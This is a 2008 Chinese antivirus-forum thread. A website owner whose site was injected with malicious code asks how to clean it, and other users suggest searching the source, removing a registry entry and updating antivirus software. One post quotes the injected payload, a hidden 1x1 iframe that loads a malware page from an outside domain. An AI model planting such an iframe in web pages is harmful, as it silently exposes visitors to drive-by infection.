瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 网站被注入流氓代码,如何修补,谢谢。

123   2  /  3  页   跳转

[求助] 网站被注入流氓代码,如何修补,谢谢。

回复:网站被注入流氓代码,如何修补,谢谢。

确实服务器上增加了flash等加载项。补丁都是最新的。应该没问题。服务器上的网站代码没有被修改的文件。realplay没有。可是flash插件删除不掉啊。现在只能选择ie的禁止功能。
gototop
 

回复:网站被注入流氓代码,如何修补,谢谢。

查看网站源代码,删除hxxp://www.hukau.cn/kuku008.htm
gototop
 

回复 8F seemejob 的帖子

elyjob.com和118jj.com两个网址全称,全网址是什么?
最后编辑networkedition 最后编辑于 2008-08-24 16:42:02
gototop
 

回复 10F networkedition 的帖子

服务器是增加了flash加载项。flash插件已经删除不掉。现在只能关闭ie加载项,补丁都是最新的,应该没问题。数据库和网站恢复到n天前正常状态,还是有不能解决。
飘泊而立狮,可否加我qq294955933.我给您远程权限,帮我看看服务器。
gototop
 

回复:网站被注入流氓代码,如何修补,谢谢。

网站源代码里没有哪个网址吗?用查找工具,查找一下?
gototop
 

回复:网站被注入流氓代码,如何修补,谢谢。

服务器上没有这个代码,可是浏览过这个域名的主机(我自己的电脑)的注册表里发现了。
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs

url10:
<iframe src=http://www.hukau.cn/kuku008.htm width=1 height=1></iframe> 
url19
http://www.hukau.cn/kuku008.htm
gototop
 

回复:网站被注入流氓代码,如何修补,谢谢。

看来是新木马。目前所有杀毒软件都查不出来呢。
gototop
 

回复:网站被注入流氓代码,如何修补,谢谢。

在你自己电脑的注册表?把这个键值删除了。其它电脑访问你的服务器网站有报病毒吗,瑞星最新版应该可以查杀这个病毒。如其它电脑访问服务器没有问题,那就是你这台电脑有问题了。
gototop
 

回复 17F seemejob 的帖子

将瑞星升级到最新版,可以查杀。Worm.Win32.CnVampire.f
gototop
 

回复:网站被注入流氓代码,如何修补,谢谢。

http://www.snsidea.com/
http://cnzz.com/
http://s96.cnzz.com/
。。。。
被加了不少,全删了
gototop
 
123   2  /  3  页   跳转
页面顶部
Powered by Discuz!NT